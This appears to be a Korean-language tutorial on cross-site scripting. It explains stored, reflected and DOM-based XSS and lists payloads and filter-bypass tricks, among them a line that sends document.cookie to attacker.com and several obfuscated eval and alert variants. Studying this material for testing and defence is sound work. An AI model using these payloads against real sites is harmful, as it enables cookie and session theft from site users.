XSS(Cross-Site Scripting)
XSS(Cross-Site Scripting)
XSS란?
XSS(Cross-Site Scripting)는 공격자가 공격하려는 사이트에 스크립트를 삽입하는 기법이다.
- 사이트가 공격당한 사이트에 접속하면, 공격자가 삽입한 스크립트가 실행된다.
- 이 과정에서 쿠키, 세션 정보 등 정보가 탈취될 수 있다.
XSS의 종류로는 다음과 같다.
Stored XSS
: 공격자가 악성 스크립트를 웹 서버의 데이터베이스나 파일 시스템과 같은 영구적인 저장 공간에 저장한다. 이후 다른 사용자가 해당 스크립트가 저장된 페이지를 방문하면, 저장된 스크립트가 사용자의 브라우저에서 실행된다.- 게시판 글, 댓글, 닉네임 등
Reflected XSS
: 공격자가 악성 스크립트가 포함된 URL을 생성하여 사용자에게 전달하고, 사용자가 해당 URL을 클릭하면 웹 서버가 사용자로부터 받은 입력 값(악성 스크립트)을 그대로 웹 페이지에 반사(Reflect)하여 사용자의 브라우저에서 스크립트가 실행되도록 한다..- 검색 결과 페이지 등
DOM-Based XSS
: 웹 페이지의 클라이언트 측 JavaScript 코드에 취약점이 있어 발생한다. 서버를 거치지 않고 브라우저의 DOM(Document Object Model) 환경에서 직접 악성 스크립트가 실행된다.- 클라이언트 측 JavaScript가 URL 해시(#) 값이나 쿼리 문자열을 읽어와서 HTML 콘텐츠를 동적으로 생성할 때, 해당 값에 악성 스크립트가 포함되어 있다면 웹 페이지가 로드될 때 브라우저에서 스크립트가 실행될 수 있다.
XSS 기법?
script 태그
웹 페이지에 <script>
태그를 직접 삽입하여 그 안에 악성 자바스크립트 코드를 포함시킨다.
1
2
<script>alert("XSS")</script>
<script>document.location="http://attacker.com?cookie="+document.cookie;</script>
HTML 태그 속성의 이벤트 핸들러
HTML 태그 중 on*
형태의 이벤트 핸들러(onload
, onclick
, onerror
등)에 자바스크립트 코드를 삽입하여, 사용자가 특정 행동을 하거나 페이지가 로드될 때 코드가 실행되도록 한다.
1
2
3
4
5
6
7
<img src="x" onerror="alert('XSS');">
<img src="valid.jpg" onload="alert('XSS');">
<img src="valid.jpg" onclick="alert('XSS');">
<body onload="alert('XSS');">
<svg onload="alert('XSS');">
<a href="#" onclick="alert('XSS')"></a>
onerror
: 로드에 실패했을 때 실행할 스크립트를 지정한다. 실제 이미지가 존재하지 않아도 되므로 공격자가 쉽게 이용할 수 있다.onload
: 로드에 성공했을 때 실행할 스크립트를 지정한다.onclick
: 클릭했을 때 실행할 스크립트를 지정한다.- 이외
onmouseover
,onfocus
,onblur
등 다양한 이벤트 핸들러들이 있다.
CSS를 이용한 XSS
CSS 자체는 스크립트를 실행하지 않지만, CSS 속성 중 url()
이나 @import
를 이용해 외부 스크립트를 간접적으로 로드할 수 있다.
1
2
3
@import url("javascript:alert('XSS')");
background-image:
url("javascript:alert('XSS')");
의사 프로토콜 이용
<a>
태그의 href
속성이나 다른 URL을 허용하는 속성에서 javascript:
프로토콜을 이용하여 URL 대신 자바스크립트를 실행할 수 있다.
1
2
<a href="javascript:alert('XSS')">클릭하면 XSS</a>
<iframe src="javascript:alert('XSS')"></iframe>
meta 태그 이용
<meta>
태그의 http-equiv="refresh"
속성을 사용하여, 페이지를 특정 URL로 리다이렉트시키면서 url
속성에 javascript:
프로토콜을 삽입하여 XSS를 유발할 수 있다.
1
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS');">
다양한 필터링 우회 방법
html 태그에서 \r
, \t
등은 1바이트 raw한 데이터를 의미한다. 역슬래시와 ‘r’/’t’ 2바이트가 아니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- 키워드 치환 우회 -->
<scscriptript>alert(1)</scscriptript>
<!-- 필터링 이후 -->
<script>alert(1)</script>
<!-- 대소문자를 이용한 우회 -->
<ScRipt>AlERT('XSS')</sCrIPT>
<!-- 멀티라인에 대한 검사가 없는 경우 -->
<img src=""\nonerror="alert(document.cookie)"/>
<!-- HTML Entity Encoding을 활용한 우회 -->
<sript>alert('xss')</sript>
<!-- 특수문자를 이용한 우회(정규화 과정에서 제거됨) -->
<a href="j\t\tavascript:alert(1)">
<!-- script src 속성을 이용한 우회 -->
<script src="data:,alert(document.cookie)"></script>
<!-- 이외 다양한 태그들을 활용한 XSS -->
<video><source onerror="alert('XSS');"></video>
<body onload="alert('XSS')"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// Unicode Escape Sequence
\u0061lert(document.cookie);
// Computed Member Access
\u0061lert(document["coo"+"kie"])
window["al\x65rt"](document["coo"+"\u006bie"])
// == eval(alert('XSS'))
Function(alert('XSS'))()
// == Function(alert('XSS'))
isNaN["constructor"](alert('XSS'))()
// Template Literals
var A = "Hello";
var B = "World";
var C = `${A}, ${B}!`; // baz = "Hello, World!"
// RegExp
/Hello World!/.source; // "Hello World!"
/test !/+[]; // "/test !/"
/test !/+""; // "/test !/"
// String.fromCharCode
String.fromCharCode(72,101,108,108,111); "Hello"
// 기본 내장 함수 혹은 객체의 문자
history.toString() // "[object History]"
history+[] // "[object History]"
history+"" // "[object History]"
eval.toString() // "function eval() { [native code] }"
eval+[] // "function eval() { [native code] }"
eval+"" // "function eval() { [native code] }"
//숫자 객체 진법 변환
(43804).toString(36) // xss
43804..toString(36) // xss
43804 .toString(36) // xss
// 백틱 함수 호출
alert`1` // == alert(1)
// Symbol.hasInstance 오버라이딩
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
// 예시 1
Boolean["con".concat("structor")]("al".concat("ert(").concat("docu").concat("ment.cook").concat("ie)"))()
// 예시 2
var a = URL+[];
/alert/.source + a[12] + /document.cookie/.source + a[13] instanceof {[Symbol.hasInstance]:eval}
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.